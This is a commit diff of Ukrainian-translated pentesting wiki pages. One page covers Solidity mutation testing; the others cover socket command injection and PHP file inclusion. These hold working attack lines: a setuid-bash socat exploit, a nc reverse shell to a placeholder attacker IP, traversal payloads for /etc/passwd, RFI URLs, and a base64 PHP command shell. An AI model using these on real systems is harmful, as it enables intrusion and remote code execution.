Translated ['', 'src/blockchain/smart-contract-security/mutation-testing

This commit is contained in:
Translator 2025-10-01 09:26:11 +00:00
parent a8dc0cbbb5
commit f9c44abc17
3 changed files with 238 additions and 200 deletions

View File

@ -1,14 +1,14 @@
# Мутаційне тестування для Solidity зі Slither (slither-mutate)
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Мутаційне тестування "tests your tests" систематично вносить невеликі зміни (mutants) у ваш код на Solidity і повторно запускає набір тестів. Якщо тест падає — мутант вбито. Якщо тести все ще проходять — мутант виживає, що виявляє сліпу зону у вашому наборі тестів, яку line/branch coverage не може виявити.
Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
Ключова ідея: покриття показує, що код був виконаний; мутаційне тестування показує, чи поведінка фактично перевіряється.
Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
## Чому покриття може вводити в оману
Розглянемо цю просту перевірку порогу:
Розгляньте цю просту перевірку порогу:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,39 +18,39 @@ return false;
}
}
```
Модульні тести, які перевіряють лише значення нижче і вище порога, можуть досягати 100% покриття рядків/гілок, при цьому не перевіряючи граничну рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
Модульні тести, що перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, одночасно не перевіряючи граничну перевірку на рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
Mutation testing виявляє цю прогалину шляхом мутування умови і перевірки, що ваші тести провалюються.
Мутаційне тестування виявляє цю прогалину шляхом мутації умови та перевірки, що ваші тести не проходять.
## Поширені mutation-оператори для Solidity
## Поширені оператори мутацій Solidity
Механізм мутацій Slither застосовує багато дрібних змін, що змінюють семантику, наприклад:
Slithers mutation engine застосовує багато невеликих змін, що змінюють семантику, таких як:
- Заміна операторів: `+``-`, `*``/`, etc.
- Заміна присвоєння: `+=``=`, `-=``=`
- Заміна констант: ненульове → `0`, `true``false`
- Заперечення/заміна умови всередині `if`/loops
- Закоментувати цілі рядки (CR: Comment Replacement)
- Коментування цілих рядків (CR: Comment Replacement)
- Замінити рядок на `revert()`
- Заміна типів даних: напр., `int128``int64`
- Заміна типів даних: наприклад, `int128``int64`
Мета: усунути 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
Мета: знищити 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
## Running mutation testing with slither-mutate
Requirements: Slither v0.10.2+.
- Перелік опцій і мутаторів:
- Перелік опцій та мутаційних операторів:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry приклад (захопити результати та зберегти повний лог):
- Приклад Foundry (зафіксувати результати й вести повний журнал):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на спосіб запуску тестів (наприклад, `npx hardhat test`, `npm test`).
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на команду, якою ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
Артефакти та звіти зберігаються за замовчуванням у `./mutation_campaign`. Невиявлені (виживші) мутанти копіюються туди для перевірки.
Артефакти та звіти за замовчуванням зберігаються в `./mutation_campaign`. Незловлені (вцілілі) мутанти копіюються туди для перевірки.
### Розуміння виводу
@ -59,58 +59,58 @@ slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Тег у дужках — mutator alias (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що tests пройшли під mutated поведінкою → відсутнє твердження.
- Тег у дужках — це псевдонім мутатора (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що тести пройшли за зміненої поведінки → відсутня перевірка.
## Зменшення часу виконання: віддавайте пріоритет impactful mutants
## Скорочення часу виконання: надавайте пріоритет впливовим мутантам
Mutation campaigns можуть займати години або дні. Поради, щоб зменшити витрати:
- Scope: Починайте лише з критичних contracts/directories, потім розширюйте.
- Prioritize mutators: Якщо high-priority mutant на рядку виживає (наприклад, цілий рядок закоментований), можна пропустити lower-priority variants для цього рядка.
- Parallelize tests, якщо ваш runner це дозволяє; кешуйте dependencies/builds.
- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє прогалину в assertion.
Кампії з мутацій можуть тривати години або дні. Поради для зменшення витрат:
- Scope: почніть лише з критичних контрактів/директорій, потім розширюйте.
- Prioritize mutators: якщо високопріоритетний мутант на рядку вижив (наприклад, цілий рядок закоментовано), можна пропустити менш пріоритетні варіанти для цього рядка.
- Parallelize tests if your runner allows it; кешуйте залежності/зборки.
- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє відсутність перевірки.
## Triage workflow для surviving mutants
## Робочий процес триажу для мутантів, що вижили
1) Inspect the mutated line and behavior.
- Reproduce locally by applying the mutated line and running a focused test.
1) Огляньте змінений рядок коду та поведінку.
- Відтворіть локально, застосувавши змінений рядок і запустивши цілеспрямований тест.
2) Strengthen tests to assert state, not only return values.
- Add equality-boundary checks (e.g., test threshold `==`).
- Assert post-conditions: balances, total supply, authorization effects, and emitted events.
2) Посиліть тести, щоб перевіряти стан, а не лише значення, що повертаються.
- Додайте перевірки меж рівності (наприклад, тест порогу `==`).
- Перевіряйте постумови: баланси, total supply, ефекти авторизації та згенеровані події.
3) Replace overly permissive mocks with realistic behavior.
- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain.
3) Замініть надто ліберальні mocks на реалістичну поведінку.
- Переконайтеся, що mocks відображають transfers, failure paths і event emissions, які відбуваються on-chain.
4) Add invariants for fuzz tests.
- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable.
4) Додайте інваріанти для fuzz-тестів.
- Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонність total supply там, де це застосовно.
5) Re-run slither-mutate until survivors are killed or explicitly justified.
5) Перезапускайте slither-mutate, доки всі вижилі мутанти не будуть вбиті або явно обґрунтовані.
## Case study: revealing missing state assertions (Arkis protocol)
## Приклад: виявлення відсутніх перевірок стану (Arkis protocol)
Mutation campaign під час аудиту Arkis DeFi protocol виявила survivors, такі як:
Кампанія мутацій під час аудиту Arkis DeFi protocol виявила вижилі, наприклад:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Закоментування присвоєння не порушило тести, що свідчить про відсутність перевірок кінцевого стану. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевірки фактичних переказів токенів. Атакуючий міг десинхронізувати очікувані та фактичні перекази, щоб викрасти кошти. Наслідок: високий ризик для платоспроможності протоколу.
Закоментування присвоєння не зламало тести, що підтверджує відсутність post-state assertions. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевіряти фактичні перекази токенів. Атакуючий міг би десинхронізувати очікувані й фактичні перекази, щоб вивести кошти. Наслідок: ризик високої критичності для платоспроможності протоколу.
Guidance: вважайте вцілілих мутантів, які впливають на перекази коштів, облік або контроль доступу, високоризиковими доти, доки їх не ліквідують.
Guidance: Вважайте survivors, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, поки їх не вбито.
## Practical checklist
## Практичний чекліст
- Run a targeted campaign:
- Запустіть цілеспрямовану кампанію:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Проаналізуйте вцілілих мутантів і напишіть тести/інваріанти, які провалювалися б при модифікованій поведінці.
- Assert balances, supply, authorizations, and events.
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Replace unrealistic mocks; simulate failure modes.
- Iterate until all mutants are killed or justified with comments and rationale.
- Проведіть триаж survivors і напишіть тести/інваріанти, які проваляться при мутованій поведінці.
- Перевірте баланси, supply, авторизації та події.
- Додайте тести меж (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Замініть нереалістичні mocks; змоделюйте режими відмов.
- Повторюйте, поки всі mutants не будуть killed або виправдані коментарями та обґрунтуванням.
## References
## Посилання
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Приклад прив'язки сокета з Python
## Socket binding example with Python
У наступному прикладі **unix-сокет створюється** (`/tmp/socket_test.s`), і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я знаю, що ви не знайдете це в диких умовах, але мета цього прикладу - побачити, як виглядає код, що використовує unix-сокети, і як управляти введенням у найгіршому випадку.
У наведеному прикладі **unix socket створюється** (`/tmp/socket_test.s`) і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я розумію, що ви не знайдете цього в реальному житті, але мета цього прикладу — показати, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані в найгіршому можливому випадку.
```python:s.py
import socket
import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram)
conn.close()
```
**Виконайте** код за допомогою python: `python s.py` та **перевірте, як сокет слухає**:
**Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket прослуховує**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Експлуатація**
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Кейс: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає untrusted input і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє unprivileged client впливати на те, який native thread буде ціллю, ви можете зуміти викликати привілейований код і escalate.
Спостережуваний шаблон:
- Підключитися до root-owned socket (e.g., /tmp/remotelogger).
- Створити thread і отримати його native thread id (TID).
- Надіслати TID (packed) плюс padding як запит; отримати acknowledgement.
- Надіслати конкретний signal цьому TID, щоб trigger привілейовану поведінку.
Мінімальний PoC ескіз:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Щоб перетворити це на root shell, можна використати простий named-pipe + nc pattern:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Примітки:
- Цей клас помилок виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), і прив'язування їх до привілейованих signal handlers або логіки.
- Зміцніть безпеку, вимагаючи credentials на socket, перевіряючи формати повідомлень та відокремлюючи привілейовані операції від зовні переданих thread identifiers.
## Посилання
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У PHP це за замовчуванням **вимкнено** (**allow_url_include**).\
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.
Уразливі **PHP functions**: require, require_once, include, include_once
Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Цікавий інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,37 +19,37 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Змішавши кілька \*nix LFI списків і додавши більше шляхів, я створив цей:**
**Комбінуючи кілька \*nix LFI списків і додаючи більше шляхів, я створив цей:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Спробуйте також замінити `/` на `\`\
Спробуйте також змінити `/` на `\`\
Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Злиття різних wordlists:
Об'єднання різних wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Спробуйте також замінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../`
Спробуйте також змінити `/` на `\`\
Спробуйте також видалити `C:/` та додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Перевірте LFI список для Linux.
Перегляньте LFI список linux.
## Основи LFI та обхідні методи
## Основи LFI та методи обходу
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
Обхід додавання додаткових символів у кінець наданого рядка (обхід: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Це **виправлено з PHP 5.4**
Це **вирішено починаючи з PHP 5.4**
### **Кодування**
@ -78,44 +78,44 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Із існуючої папки
### З існуючої папки
Можливо, back-end перевіряє шлях до папки:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Дослідження директорій файлової системи на сервері
### Дослідження каталогів файлової системи на сервері
Файлову систему сервера можна рекурсивно досліджувати для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
Файлову систему сервера можна рекурсивно обстежити, щоб визначити каталоги, а не лише файли, використовуючи певні техніки. Процес включає визначення глибини директорії та перевірку наявності певних папок. Нижче наведено детальний метод, як це зробити:
1. **Визначте глибину директорії:** Визначте глибину поточної директорії шляхом успішного отримання файлу `/etc/passwd` (застосовно, якщо сервер працює під Linux). Приклад URL може мати таку структуру, що вказує на глибину три:
1. **Determine Directory Depth:** Визначте глибину поточної директорії, успішно отримавши файл `/etc/passwd` (застосовно, якщо сервер базується на Linux). Приклад URL може бути побудований так, вказуючи глибину три:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
2. **Перевірте папки:** Додайте ім'я підозрюваної папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Підтверджено наявність папки `private`.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи.
- **Помилка / Відсутність виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні Local File Inclusion (LFI) методи.
Щоб дослідити директорії в інших частинах файлової системи, відповідно змініть payload. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте:
Для дослідження директорій у інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточний каталог має глибину 3), використайте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation — це метод, який використовують для маніпулювання шляхами файлів у веб-застосунках. Часто його використовують для доступу до обмежених файлів, оминаючи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета — сформувати шлях, який після внесених заходом безпеки змін все одно вказуватиме на потрібний файл.
Path truncation — метод, який застосовується для маніпуляції шляхами до файлів у веб-додатках. Часто його використовують для доступу до обмежених файлів, обходячи заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу так, щоб після змін заходами безпеки він все ще вказував на потрібний файл.
У PHP різні представлення шляху файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
У PHP різні представлення шляху до файлу можуть розглядатися як еквівалентні через характер файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` обробляються як один і той же шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільового файлу.
- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` вкінці не змінить файл, до якого відбувається доступ.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, і `/etc/passwd/` трактуються як один і той самий шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` наприкінці не змінює доступний файл.
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — часта ціль через конфіденційний вміст (інформація про облікові записи користувачів):
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — частої цілі через її чутливий вміст (інформація про облікові записи користувачів):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
У цих сценаріях кількість traversals, які потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
У цих сценаріях кількість необхідних `../` послідовностей може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Using Dot Segments and Additional Characters**: traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можна використовувати для навігації файловою системою, ефективно ігноруючи сервером додані рядки.
- **Determining the Required Number of Traversals**: Через метод спроб і помилок можна знайти точну кількість traversal sequences (`../`) необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) нейтралізовані, але бажаний шлях (`/etc/passwd`) залишається незмінним.
- **Starting with a Fake Directory**: Загальною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера.
- **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації по файловій системі, фактично ігноруючи додані сервером рядки.
- **Determining the Required Number of Traversals**: Шляхом проб і помилок можна визначити точну кількість `../` послідовностей, необхідних для виходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) будуть нейтралізовані, але бажаний шлях (`/etc/passwd`) залишиться незмінним.
- **Starting with a Fake Directory**: Зазвичай шлях починають з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляхів на сервері.
When employing path truncation techniques, важливо розуміти поведінку парсингу шляху сервером і структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**Ця уразливість була виправлена в PHP 5.3.**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
У php це вимкнено за замовчуванням, бо **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб це працювало, і в такому випадку ви можете include PHP файл зі свого сервера і отримати RCE:
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** встановлено в **Off.** Його потрібно встановити в **On**, щоб це працювало, і в такому випадку ви можете include PHP-файл з вашого server і отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **filtering** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:
Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цією публікацією](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> У попередньому коді фінальний `+.txt` було додано, бо зловмиснику потрібен був string, який закінчувався на `.txt`, тож string завершується ним, і після b64 decode ця частина поверне лише junk, а справжній PHP code буде включено (і, отже, виконано).
> У попередньому коді кінцевий `+.txt` був доданий, тому що атакуючий потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а справжній PHP-код буде включено (і, отже, виконано).
Ще один приклад **без використання протоколу `php://`** буде:
Інший приклад **не використовуючи протокол `php://`** був би:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python кореневий елемент
У Python у коді, як у цьому:
У python у коді, як-от цьому:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
> Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
## Java Перелік директорій
## Java: перелік директорій
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається список вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. За інших мов це, наскільки мені відомо, не трапляється.
## Топ-25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI за допомогою PHP обгорток та протоколів
## LFI / RFI з використанням PHP wrappers & protocols
### php://filter
PHP filters дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
PHP filters дозволяють виконувати базові **операції модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">")
- Note that this filter has disappear from the modern versions of PHP
- Зверніть увагу, що цей фільтр зник у сучасних версіях PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
- `convert.iconv.*` : Перетворює у іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
> [!WARNING]
> Зловживаючи фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію, наприклад include, обробляти довільний текст. Для детальнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Зловживши фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для отримання додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- `zlib.deflate`: Стискає вміст (корисно при exfiltrating великої кількості інформації)
- `zlib.inflate`: Декомпресує дані
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `mcrypt.*` : Застаріло
- `mdecrypt.*` : Застаріло
- Інші фільтри
- Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `dechunk`: скасовує HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -275,21 +275,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням php filters** як oracle. Це можливо, бо php filters можна використати, щоб зробити текст настільки великим, що php викине виняток.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, щоб php згенерував виняток.
У оригінальному дописі можна знайти детальне пояснення техніки, але ось коротке резюме:
В оригінальному пості ви знайдете детальне пояснення техніки, але тут коротке резюме:
- Використовуйте кодек **`UCS-4LE`**, щоб розмістити ведучий символ тексту на початку і змусити розмір рядка зростати експоненційно.
- Це використовується для створення **тексту настільки великого, коли початкова літера вгадана правильно**, що php спровокує **помилку**.
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тож ми можемо дізнатися, чи перший символ є hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості перетворень вона перестане бути шістнадцятковим символом. Адже якщо вона є hex, dechunk її не видалить і початкова «бомба» спричинить помилку php.
